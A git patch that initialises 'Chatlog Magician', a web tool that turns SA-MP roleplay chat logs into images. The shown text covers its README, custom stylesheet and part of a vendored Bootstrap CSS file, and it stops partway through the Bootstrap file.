From 8e3f08d8fce7c1c699adf674e4f63a1e72d5bdd7 Mon Sep 17 00:00:00 2001 From: Montreal Date: Tue, 28 May 2024 13:31:30 +0300 Subject: [PATCH] init files --- README.md | 43 +- css/app.css | 364 ++ css/boostrap.css | 9274 ++++++++++++++++++++++++++++++++++++++++++ css/sp-style.css | 560 +++ favicon.png | Bin 0 -> 18107 bytes index.html | 148 + js/app.js | 3262 +++++++++++++++ js/chat.js | 352 ++ js/chatlog-parser.js | 114 + js/color-picker.js | 1956 +++++++++ js/download-img.js | 501 +++ js/download.js | 89 + js/parse-text.js | 86 + lsrp.png | Bin 0 -> 12703 bytes 14 files changed, 16747 insertions(+), 2 deletions(-) create mode 100644 css/app.css create mode 100644 css/boostrap.css create mode 100644 css/sp-style.css create mode 100644 favicon.png create mode 100644 index.html create mode 100644 js/app.js create mode 100644 js/chat.js create mode 100644 js/chatlog-parser.js create mode 100644 js/color-picker.js create mode 100644 js/download-img.js create mode 100644 js/download.js create mode 100644 js/parse-text.js create mode 100644 lsrp.png diff --git a/README.md b/README.md index b238fc0..b74458c 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,41 @@ -# chatlog-magician - Chatlog Magician for LS-RP +# Chatlog Magician + +Chatlog Magician, converts SA-MP logs into images, making screenshot editing easier. It's fully compatible with SA-MP. + +## Features + +* Removes timestamps from screenshots. + +* If available, it detects and adjusts hexadecimal color codes within curly brackets. + +* It automatically detects whispering status and emotes in the chat and adjusts the line color accordingly. + +## Examples +### Emote + +``` +* Martin Peterson looks around nervously, sweating slightly as he waits for his contact to arrive. +* Can you see what's on the back seat of the car? (( Martin Peterson )) +``` +##### Image + +![emote example](https://i.imgur.com/deEA6Vt.png) +### Says + +``` +* Martin Peterson says: Hello LS-RP! +* Martin Peterson says [low]: Hello LS-RP! +``` +##### Image + +![says example](https://i.imgur.com/ls5jRBA.png) + +### HEX Color Codes + +``` +{ffffff}I LOVE {ecbf32}LS-RP{ffffff}! +``` + +##### Image + +![hex color codes](https://i.imgur.com/UCi6aam.png) diff --git a/css/app.css b/css/app.css new file mode 100644 index 0000000..819b9ae --- /dev/null +++ b/css/app.css @@ -0,0 +1,364 @@ +body { + font-family: Arial, sans-serif; + width: 100%; + background: #24282e; + margin: 0; + color: #b2b2b2; +} + +html::-webkit-scrollbar { + width: 0px; + /* Dikey kaydırma çubuğu genişliğini sıfıra ayarlar */ + background-color: transparent; + /* Kaydırma çubuğu arkaplan rengini şeffaf yapar */ +} + +.textarea-input { + width: 100%; + border-radius: 5px; + resize: none; +} + +.generated { + width: max-content; +} + +#name { + max-width: 280px; + text-transform: capitalize +} + +.pld1 { + float: left; + width: 280px; + margin: auto; + margin-right: 5px; +} + +.pld2 { + float: left; + width: 280px; + margin: auto; + margin-right: 5px; +} + +.pld3 { + float: left; + width: 280px; + margin: auto; + margin-right: 5px; +} + +.pld4 { + float: left; + width: 280px; + margin: auto; + margin-right: 5px; +} + +.clog_settings { + font-weight: bold; + width: 100%; + margin-left: auto; + margin-right: auto; +} + +.row { + display: flex; + align-items: center; +} + +label { + margin-right: 5px; /* Çok az mesafe bırakmak için */ + + text-transform: uppercase; + font-size: .8em; + color: #fffe; + margin-bottom: 10px; +} + +input { + display: inline-block; +} + + +#bal { + float: left; + margin-left: 1%; +} + +#jobb { + float: right; + margin-right: 1%; +} + +.clearfix:after { + content: " "; + visibility: hidden; + display: block; + height: 0; + clear: both; +} + +.output { + line-height: 0; + -webkit-font-smoothing: none !important; + font-weight: 700; + color: #fff; + text-shadow: -1px -1px 0 #000, 1px -1px 0 #000, -1px 1px 0 #000, 1px 1px 0 #000; + letter-spacing: 0; + font-size: 12px +} + +.generated { + background-color: #000; + display: inline-block; + padding: 8px 5px +} + +.me { + color: #c2a2da +} + +.death { + color: #ff0000 +} + +.yellow { + color: #ff0 +} + +.paleyellow { + color: #ffec8b +} + +.grey { + color: #bbb +} + +.lightgrey { + color: #e2e2e2 +} + +.hide { + display: none +} + +.green { + color: #3a3 +} + +.money { + color: #008000 +} + +.radioColor { + color: #ffec8b +} + +.megafon { + color: #e7e700 +} + +.whisper { + color: #ffff01 +} + +.carwhisper { + color: #fdfc1c +} + +.tavol { + color: #999999 +} + +.borton { + color: #fc6246 +} + +.white { + color: #fff +} + +textarea { + margin-top: 20px +} + +pre.pre-scrollable { + max-height: 100px +} + +.fontsize { + margin-bottom: 20px +} + +.sp-replacer { + display: block; + width: 50px +} + +.button { + width: 150px; + height: 40px; + border: none; + outline: none; + color: #fff; + background: #111; + cursor: pointer; + position: relative; + z-index: 10; + border-radius: 10px; +} + +.button:before { + content: ''; + background: linear-gradient(45deg, #ff0000, #ff7300, #fffb00, #48ff00, #00ffd5, #002bff, #7a00ff, #ff00c8, #ff0000); + position: absolute; + top: -2px; + left: -2px; + background-size: 400%; + z-index: -1; + filter: blur(5px); + width: calc(100% + 4px); + height: calc(100% + 4px); + animation: glowing 20s linear infinite; + opacity: 0; + transition: opacity .3s ease-in-out; + border-radius: 10px; +} + +.button:active { + color: #000 +} + +.button:active:after { + background: transparent; +} + +.button:hover:before { + opacity: 1; +} + +.button:after { + z-index: -1; + content: ''; + position: absolute; + width: 100%; + height: 100%; + background: #111; + left: 0; + top: 0; + border-radius: 10px; +} + +@keyframes glowing { + 0% { + background-position: 0 0; + } + 50% { + background-position: 400% 0; + } + 100% { + background-position: 0 0; + } +} +.row { + display: flex; + align-items: center; +} + + +.color-picker-input { + display: inline-block; + margin-right: 1%; + +} + + +#jobb .col-xs-12 { + display: flex; + align-items: center; /* Dikey hizalamayı ortalar */ +} + +.color-picker-label { + margin-right: 10px; /* Etiket ile input arasına boşluk ekler */ +} + +.color-picker-input { + flex-shrink: 0; /* Input alanının küçülmesini engeller */ +} + +.clog_settings .row { + display: flex; +} + +.clog_settings .col-xs-12 { + flex: 1; +} + +.clog_settings .color-picker-label { + margin-right: auto; +} + +.textarea-container { + position: relative; + width: 100%; +} + +.logo-overlay { + position: absolute; + top: 50%; + left: 50%; + transform: translate(-50%, -50%); /* Logo'yu textarea'nın tam ortasına hizalar */ + pointer-events: none; /* Overlay'in üzerindeki textarea'ya tıklanmasını engeller */ +} + +.logo-overlay img { + opacity: 15%; + max-width: auto; /* Logonun maksimum genişliği, gereksinimlerinize göre ayarlayabilirsiniz */ + max-height: auto; /* Logonun maksimum yüksekliği, gereksinimlerinize göre ayarlayabilirsiniz */ +} + +.cube-container { + perspective: 800px; /* Perspektif etkisi için mesafe */ + width: 200px; + height: 200px; + margin: 0 auto; +} + +.cube { + width: 100%; + height: 100%; + position: relative; + transform-style: preserve-3d; /* 3D dönüşlerin korunması */ + animation: rotateCube 5s linear infinite; +} + +.face { + position: absolute; + width: 200px; + height: 200px; + background-color: rgba(255, 255, 255, 0.7); + border: 1px solid #000; + display: flex; + justify-content: center; + align-items: center; + font-size: 24px; + font-weight: bold; +} + +.front { transform: translateZ(100px); } +.back { transform: rotateY(180deg) translateZ(100px); } +.top { transform: rotateX(90deg) translateZ(100px); } +.bottom { transform: rotateX(-90deg) translateZ(100px); } +.left { transform: rotateY(-90deg) translateZ(100px); } +.right { transform: rotateY(90deg) translateZ(100px); } + +@keyframes rotateCube { + from { + transform: rotateX(0deg) rotateY(0deg) rotateZ(0deg); + } + to { + transform: rotateX(360deg) rotateY(360deg) rotateZ(360deg); + } +} \ No newline at end of file diff --git a/css/boostrap.css b/css/boostrap.css new file mode 100644 index 0000000..3de8e0e --- /dev/null +++ b/css/boostrap.css @@ -0,0 +1,9274 @@ +/*! + * Bootstrap v4.0.0 (https://getbootstrap.com) + * Copyright 2011-2018 The Bootstrap Authors + * Copyright 2011-2018 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ + +:root { + --blue: #007bff; + --indigo: #6610f2; + --purple: #6f42c1; + --pink: #e83e8c; + --red: #dc3545; + --orange: #fd7e14; + --yellow: #ffc107; + --green: #28a745; + --teal: #20c997; + --cyan: #17a2b8; + --white: #fff; + --gray: #6c757d; + --gray-dark: #343a40; + --primary: #007bff; + --secondary: #6c757d; + --success: #28a745; + --info: #17a2b8; + --warning: #ffc107; + --danger: #dc3545; + --light: #f8f9fa; + --dark: #343a40; + --breakpoint-xs: 0; + --breakpoint-sm: 576px; + --breakpoint-md: 768px; + --breakpoint-lg: 992px; + --breakpoint-xl: 1200px; + --font-family-sans-serif: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; + --font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace +} + +*, +::after, +::before { + box-sizing: border-box +} + +html { + font-family: sans-serif; + line-height: 1.15; + -webkit-text-size-adjust: 100%; + -ms-text-size-adjust: 100%; + -ms-overflow-style: scrollbar; + -webkit-tap-highlight-color: transparent +} + +@-ms-viewport { + width: device-width +} + +article, +aside, +dialog, +figcaption, +figure, +footer, +header, +hgroup, +main, +nav, +section { + display: block +} + +body { + margin: 0; + font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; + font-size: 1rem; + font-weight: 400; + line-height: 1.5; + color: #212529; + text-align: left; + background-color: #fff +} + +[tabindex="-1"]:focus { + outline: 0 !important +} + +hr { + box-sizing: content-box; + height: 0; + overflow: visible +} + +h1, +h2, +h3, +h4, +h5, +h6 { + margin-top: 0; + margin-bottom: .5rem +} + +p { + margin-top: 0; + margin-bottom: 1rem +} + +abbr[data-original-title], +abbr[title] { + text-decoration: underline; + -webkit-text-decoration: underline dotted; + text-decoration: underline dotted; + cursor: help; + border-bottom: 0 +} + +address { + margin-bottom: 1rem; + font-style: normal; + line-height: inherit +} + +dl, +ol, +ul { + margin-top: 0; + margin-bottom: 1rem +} + +ol ol, +ol ul, +ul ol, +ul ul { + margin-bottom: 0 +} + +dt { + font-weight: 700 +} + +dd { + margin-bottom: .5rem; + margin-left: 0 +} + +blockquote { + margin: 0 0 1rem +} + +dfn { + font-style: italic +} + +b, +strong { + font-weight: bolder +} + +small { + font-size: 80% +} + +sub, +sup { + position: relative; + font-size: 75%; + line-height: 0; + vertical-align: baseline +} + +sub { + bottom: -.25em +} + +sup { + top: -.5em +} + +a { + color: #007bff; + text-decoration: none; + background-color: transparent; + -webkit-text-decoration-skip: objects +} + +a:hover { + color: #0056b3; + text-decoration: underline +} + +a:not([href]):not([tabindex]) { + color: inherit; + text-decoration: none +} + +a:not([href]):not([tabindex]):focus, +a:not([href]):not([tabindex]):hover { + color: inherit; + text-decoration: none +} + +a:not([href]):not([tabindex]):focus { + outline: 0 +} + +code, +kbd, +pre, +samp { + font-family: monospace, monospace; + font-size: 1em +} + +pre { + margin-top: 0; + margin-bottom: 1rem; + overflow: auto; + -ms-overflow-style: scrollbar +} + +figure { + margin: 0 0 1rem +} + +img { + vertical-align: middle; + border-style: none +} + +svg:not(:root) { + overflow: hidden +} + +table { + border-collapse: collapse +} + +caption { + padding-top: .75rem; + padding-bottom: .75rem; + color: #6c757d; + text-align: left; + caption-side: bottom +} + +th { + text-align: inherit +} + +label { + display: inline-block; + /*margin-bottom: .5rem*/ +} + +button { + border-radius: 0 +} + +button:focus { + outline: 1px dotted; + outline: 5px auto -webkit-focus-ring-color +} + +button, +input, +optgroup, +select, +textarea { + margin: 0; + font-family: inherit; + font-size: inherit; + line-height: inherit +} + +button, +input { + overflow: visible +} + +button, +select { + text-transform: none +} + +[type=reset], +[type=submit], +button, +html [type=button] { + -webkit-appearance: button +} + +[type=button]::-moz-focus-inner, +[type=reset]::-moz-focus-inner, +[type=submit]::-moz-focus-inner, +button::-moz-focus-inner { + padding: 0; + border-style: none +} + +input[type=checkbox], +input[type=radio] { + box-sizing: border-box; + padding: 0 +} + +input[type=date], +input[type=datetime-local], +input[type=month], +input[type=time] { + -webkit-appearance: listbox +} + +textarea { + overflow: auto; + resize: vertical +} + +fieldset { + min-width: 0; + padding: 0; + margin: 0; + border: 0 +} + +legend { + display: block; + width: 100%; + max-width: 100%; + padding: 0; + margin-bottom: .5rem; + font-size: 1.5rem; + line-height: inherit; + color: inherit; + white-space: normal +} + +progress { + vertical-align: baseline +} + +[type=number]::-webkit-inner-spin-button, +[type=number]::-webkit-outer-spin-button { + height: auto +} + +[type=search] { + outline-offset: -2px; + -webkit-appearance: none +} + +[type=search]::-webkit-search-cancel-button, +[type=search]::-webkit-search-decoration { + -webkit-appearance: none +} + +::-webkit-file-upload-button { + font: inherit; + -webkit-appearance: button +} + +output { + display: inline-block +} + +summary { + display: list-item; + cursor: pointer +} + +template { + display: none +} + +[hidden] { + display: none !important +} + +.h1, +.h2, +.h3, +.h4, +.h5, +.h6, +h1, +h2, +h3, +h4, +h5, +h6 { + margin-bottom: .5rem; + font-family: inherit; + font-weight: 500; + line-height: 1.2; + color: inherit +} + +.h1, +h1 { + font-size: 2.5rem +} + +.h2, +h2 { + font-size: 2rem +} + +.h3, +h3 { + font-size: 1.75rem +} + +.h4, +h4 { + font-size: 1.5rem +} + +.h5, +h5 { + font-size: 1.25rem +} + +.h6, +h6 { + font-size: 1rem +} + +.lead { + font-size: 1.25rem; + font-weight: 300 +} + +.display-1 { + font-size: 6rem; + font-weight: 300; + line-height: 1.2 +} + +.display-2 { + font-size: 5.5rem; + font-weight: 300; + line-height: 1.2 +} + +.display-3 { + font-size: 4.5rem; + font-weight: 300; + line-height: 1.2 +} + +.display-4 { + font-size: 3.5rem; + font-weight: 300; + line-height: 1.2 +} + +hr { + margin-top: 1rem; + margin-bottom: 1rem; + border: 0; + border-top: 1px solid rgba(0, 0, 0, .1) +} + +.small, +small { + font-size: 80%; + font-weight: 400 +} + +.mark, +mark { + padding: .2em; + background-color: #fcf8e3 +} + +.list-unstyled { + padding-left: 0; + list-style: none +} + +.list-inline { + padding-left: 0; + list-style: none +} + +.list-inline-item { + display: inline-block +} + +.list-inline-item:not(:last-child) { + margin-right: .5rem +} + +.initialism { + font-size: 90%; + text-transform: uppercase +} + +.blockquote { + margin-bottom: 1rem; + font-size: 1.25rem +} + +.blockquote-footer { + display: block; + font-size: 80%; + color: #6c757d +} + +.blockquote-footer::before { + content: "\2014 \00A0" +} + +.img-fluid { + max-width: 100%; + height: auto +} + +.img-thumbnail { + padding: .25rem; + background-color: #fff; + border: 1px solid #dee2e6; + border-radius: .25rem; + max-width: 100%; + height: auto +} + +.figure { + display: inline-block +} + +.figure-img { + margin-bottom: .5rem; + line-height: 1 +} + +.figure-caption { + font-size: 90%; + color: #6c757d +} + +code, +kbd, +pre, +samp { + font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace +} + +code { + font-size: 87.5%; + color: #e83e8c; + word-break: break-word +} + +a>code { + color: inherit +} + +kbd { + padding: .2rem .4rem; + font-size: 87.5%; + color: #fff; + background-color: #212529; + border-radius: .2rem +} + +kbd kbd { + padding: 0; + font-size: 100%; + font-weight: 700 +} + +pre { + display: block; + font-size: 87.5%; + color: #212529 +} + +pre code { + font-size: inherit; + color: inherit; + word-break: normal +} + +.pre-scrollable { + max-height: 340px; + overflow-y: scroll +} + +.container { + width: 100%; + padding-right: 15px; + padding-left: 15px; + margin-right: auto; + margin-left: auto +} + +@media (min-width:576px) { + .container { + max-width: 540px + } +} + +@media (min-width:768px) { + .container { + max-width: 720px + } +} + +@media (min-width:992px) { + .container { + max-width: 960px + } +} + +@media (min-width:1200px) { + .container { + max-width: 1140px + } +} + +.container-fluid { + width: 100%; + padding-right: 15px; + padding-left: 15px; + margin-right: auto; + margin-left: auto +} + +.row { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + margin-right: -15px; + margin-left: -15px +} + +.no-gutters { + margin-right: 0; + margin-left: 0 +} + +.no-gutters>.col, +.no-gutters>[class*=col-] { + padding-right: 0; + padding-left: 0 +} + +.col, +.col-1, +.col-10, +.col-11, +.col-12, +.col-2, +.col-3, +.col-4, +.col-5, +.col-6, +.col-7, +.col-8, +.col-9, +.col-auto, +.col-lg, +.col-lg-1, +.col-lg-10, +.col-lg-11, +.col-lg-12, +.col-lg-2, +.col-lg-3, +.col-lg-4, +.col-lg-5, +.col-lg-6, +.col-lg-7, +.col-lg-8, +.col-lg-9, +.col-lg-auto, +.col-md, +.col-md-1, +.col-md-10, +.col-md-11, +.col-md-12, +.col-md-2, +.col-md-3, +.col-md-4, +.col-md-5, +.col-md-6, +.col-md-7, +.col-md-8, +.col-md-9, +.col-md-auto, +.col-sm, +.col-sm-1, +.col-sm-10, +.col-sm-11, +.col-sm-12, +.col-sm-2, +.col-sm-3, +.col-sm-4, +.col-sm-5, +.col-sm-6, +.col-sm-7, +.col-sm-8, +.col-sm-9, +.col-sm-auto, +.col-xl, +.col-xl-1, +.col-xl-10, +.col-xl-11, +.col-xl-12, +.col-xl-2, +.col-xl-3, +.col-xl-4, +.col-xl-5, +.col-xl-6, +.col-xl-7, +.col-xl-8, +.col-xl-9, +.col-xl-auto { + position: relative; + width: 100%; + min-height: 1px; + padding-right: 15px; + padding-left: 15px +} + +.col { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -webkit-box-flex: 1; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100% +} + +.col-auto { + -webkit-box-flex: 0; + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none +} + +.col-1 { + -webkit-box-flex: 0; + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333% +} + +.col-2 { + -webkit-box-flex: 0; + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667% +} + +.col-3 { + -webkit-box-flex: 0; + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25% +} + +.col-4 { + -webkit-box-flex: 0; + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333% +} + +.col-5 { + -webkit-box-flex: 0; + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667% +} + +.col-6 { + -webkit-box-flex: 0; + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50% +} + +.col-7 { + -webkit-box-flex: 0; + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333% +} + +.col-8 { + -webkit-box-flex: 0; + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667% +} + +.col-9 { + -webkit-box-flex: 0; + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75% +} + +.col-10 { + -webkit-box-flex: 0; + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333% +} + +.col-11 { + -webkit-box-flex: 0; + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667% +} + +.col-12 { + -webkit-box-flex: 0; + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100% +} + +.order-first { + -webkit-box-ordinal-group: 0; + -ms-flex-order: -1; + order: -1 +} + +.order-last { + -webkit-box-ordinal-group: 14; + -ms-flex-order: 13; + order: 13 +} + +.order-0 { + -webkit-box-ordinal-group: 1; + -ms-flex-order: 0; + order: 0 +} + +.order-1 { + -webkit-box-ordinal-group: 2; + -ms-flex-order: 1; + order: 1 +} + +.order-2 { + -webkit-box-ordinal-group: 3; + -ms-flex-order: 2; + order: 2 +} + +.order-3 { + -webkit-box-ordinal-group: 4; + -ms-flex-order: 3; + order: 3 +} + +.order-4 { + -webkit-box-ordinal-group: 5; + -ms-flex-order: 4; + order: 4 +} + +.order-5 { + -webkit-box-ordinal-group: 6; + -ms-flex-order: 5; + order: 5 +} + +.order-6 { + -webkit-box-ordinal-group: 7; + -ms-flex-order: 6; + order: 6 +} + +.order-7 { + -webkit-box-ordinal-group: 8; + -ms-flex-order: 7; + order: 7 +} + +.order-8 { + -webkit-box-ordinal-group: 9; + -ms-flex-order: 8; + order: 8 +} + +.order-9 { + -webkit-box-ordinal-group: 10; + -ms-flex-order: 9; + order: 9 +} + +.order-10 { + -webkit-box-ordinal-group: 11; + -ms-flex-order: 10; + order: 10 +} + +.order-11 { + -webkit-box-ordinal-group: 12; + -ms-flex-order: 11; + order: 11 +} + +.order-12 { + -webkit-box-ordinal-group: 13; + -ms-flex-order: 12; + order: 12 +} + +.offset-1 { + margin-left: 8.333333% +} + +.offset-2 { + margin-left: 16.666667% +} + +.offset-3 { + margin-left: 25% +} + +.offset-4 { + margin-left: 33.333333% +} + +.offset-5 { + margin-left: 41.666667% +} + +.offset-6 { + margin-left: 50% +} + +.offset-7 { + margin-left: 58.333333% +} + +.offset-8 { + margin-left: 66.666667% +} + +.offset-9 { + margin-left: 75% +} + +.offset-10 { + margin-left: 83.333333% +} + +.offset-11 { + margin-left: 91.666667% +} + +@media (min-width:576px) { + .col-sm { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -webkit-box-flex: 1; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100% + } + .col-sm-auto { + -webkit-box-flex: 0; + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none + } + .col-sm-1 { + -webkit-box-flex: 0; + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333% + } + .col-sm-2 { + -webkit-box-flex: 0; + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667% + } + .col-sm-3 { + -webkit-box-flex: 0; + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25% + } + .col-sm-4 { + -webkit-box-flex: 0; + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333% + } + .col-sm-5 { + -webkit-box-flex: 0; + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667% + } + .col-sm-6 { + -webkit-box-flex: 0; + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50% + } + .col-sm-7 { + -webkit-box-flex: 0; + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333% + } + .col-sm-8 { + -webkit-box-flex: 0; + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667% + } + .col-sm-9 { + -webkit-box-flex: 0; + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75% + } + .col-sm-10 { + -webkit-box-flex: 0; + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333% + } + .col-sm-11 { + -webkit-box-flex: 0; + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667% + } + .col-sm-12 { + -webkit-box-flex: 0; + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100% + } + .order-sm-first { + -webkit-box-ordinal-group: 0; + -ms-flex-order: -1; + order: -1 + } + .order-sm-last { + -webkit-box-ordinal-group: 14; + -ms-flex-order: 13; + order: 13 + } + .order-sm-0 { + -webkit-box-ordinal-group: 1; + -ms-flex-order: 0; + order: 0 + } + .order-sm-1 { + -webkit-box-ordinal-group: 2; + -ms-flex-order: 1; + order: 1 + } + .order-sm-2 { + -webkit-box-ordinal-group: 3; + -ms-flex-order: 2; + order: 2 + } + .order-sm-3 { + -webkit-box-ordinal-group: 4; + -ms-flex-order: 3; + order: 3 + } + .order-sm-4 { + -webkit-box-ordinal-group: 5; + -ms-flex-order: 4; + order: 4 + } + .order-sm-5 { + -webkit-box-ordinal-group: 6; + -ms-flex-order: 5; + order: 5 + } + .order-sm-6 { + -webkit-box-ordinal-group: 7; + -ms-flex-order: 6; + order: 6 + } + .order-sm-7 { + -webkit-box-ordinal-group: 8; + -ms-flex-order: 7; + order: 7 + } + .order-sm-8 { + -webkit-box-ordinal-group: 9; + -ms-flex-order: 8; + order: 8 + } + .order-sm-9 { + -webkit-box-ordinal-group: 10; + -ms-flex-order: 9; + order: 9 + } + .order-sm-10 { + -webkit-box-ordinal-group: 11; + -ms-flex-order: 10; + order: 10 + } + .order-sm-11 { + -webkit-box-ordinal-group: 12; + -ms-flex-order: 11; + order: 11 + } + .order-sm-12 { + -webkit-box-ordinal-group: 13; + -ms-flex-order: 12; + order: 12 + } + .offset-sm-0 { + margin-left: 0 + } + .offset-sm-1 { + margin-left: 8.333333% + } + .offset-sm-2 { + margin-left: 16.666667% + } + .offset-sm-3 { + margin-left: 25% + } + .offset-sm-4 { + margin-left: 33.333333% + } + .offset-sm-5 { + margin-left: 41.666667% + } + .offset-sm-6 { + margin-left: 50% + } + .offset-sm-7 { + margin-left: 58.333333% + } + .offset-sm-8 { + margin-left: 66.666667% + } + .offset-sm-9 { + margin-left: 75% + } + .offset-sm-10 { + margin-left: 83.333333% + } + .offset-sm-11 { + margin-left: 91.666667% + } +} + +@media (min-width:768px) { + .col-md { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -webkit-box-flex: 1; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100% + } + .col-md-auto { + -webkit-box-flex: 0; + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none + } + .col-md-1 { + -webkit-box-flex: 0; + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333% + } + .col-md-2 { + -webkit-box-flex: 0; + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667% + } + .col-md-3 { + -webkit-box-flex: 0; + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25% + } + .col-md-4 { + -webkit-box-flex: 0; + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333% + } + .col-md-5 { + -webkit-box-flex: 0; + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667% + } + .col-md-6 { + -webkit-box-flex: 0; + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50% + } + .col-md-7 { + -webkit-box-flex: 0; + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333% + } + .col-md-8 { + -webkit-box-flex: 0; + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667% + } + .col-md-9 { + -webkit-box-flex: 0; + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75% + } + .col-md-10 { + -webkit-box-flex: 0; + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333% + } + .col-md-11 { + -webkit-box-flex: 0; + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667% + } + .col-md-12 { + -webkit-box-flex: 0; + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100% + } + .order-md-first { + -webkit-box-ordinal-group: 0; + -ms-flex-order: -1; + order: -1 + } + .order-md-last { + -webkit-box-ordinal-group: 14; + -ms-flex-order: 13; + order: 13 + } + .order-md-0 { + -webkit-box-ordinal-group: 1; + -ms-flex-order: 0; + order: 0 + } + .order-md-1 { + -webkit-box-ordinal-group: 2; + -ms-flex-order: 1; + order: 1 + } + .order-md-2 { + -webkit-box-ordinal-group: 3; + -ms-flex-order: 2; + order: 2 + } + .order-md-3 { + -webkit-box-ordinal-group: 4; + -ms-flex-order: 3; + order: 3 + } + .order-md-4 { + -webkit-box-ordinal-group: 5; + -ms-flex-order: 4; + order: 4 + } + .order-md-5 { + -webkit-box-ordinal-group: 6; + -ms-flex-order: 5; + order: 5 + } + .order-md-6 { + -webkit-box-ordinal-group: 7; + -ms-flex-order: 6; + order: 6 + } + .order-md-7 { + -webkit-box-ordinal-group: 8; + -ms-flex-order: 7; + order: 7 + } + .order-md-8 { + -webkit-box-ordinal-group: 9; + -ms-flex-order: 8; + order: 8 + } + .order-md-9 { + -webkit-box-ordinal-group: 10; + -ms-flex-order: 9; + order: 9 + } + .order-md-10 { + -webkit-box-ordinal-group: 11; + -ms-flex-order: 10; + order: 10 + } + .order-md-11 { + -webkit-box-ordinal-group: 12; + -ms-flex-order: 11; + order: 11 + } + .order-md-12 { + -webkit-box-ordinal-group: 13; + -ms-flex-order: 12; + order: 12 + } + .offset-md-0 { + margin-left: 0 + } + .offset-md-1 { + margin-left: 8.333333% + } + .offset-md-2 { + margin-left: 16.666667% + } + .offset-md-3 { + margin-left: 25% + } + .offset-md-4 { + margin-left: 33.333333% + } + .offset-md-5 { + margin-left: 41.666667% + } + .offset-md-6 { + margin-left: 50% + } + .offset-md-7 { + margin-left: 58.333333% + } + .offset-md-8 { + margin-left: 66.666667% + } + .offset-md-9 { + margin-left: 75% + } + .offset-md-10 { + margin-left: 83.333333% + } + .offset-md-11 { + margin-left: 91.666667% + } +} + +@media (min-width:992px) { + .col-lg { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -webkit-box-flex: 1; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100% + } + .col-lg-auto { + -webkit-box-flex: 0; + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none + } + .col-lg-1 { + -webkit-box-flex: 0; + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333% + } + .col-lg-2 { + -webkit-box-flex: 0; + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667% + } + .col-lg-3 { + -webkit-box-flex: 0; + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25% + } + .col-lg-4 { + -webkit-box-flex: 0; + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333% + } + .col-lg-5 { + -webkit-box-flex: 0; 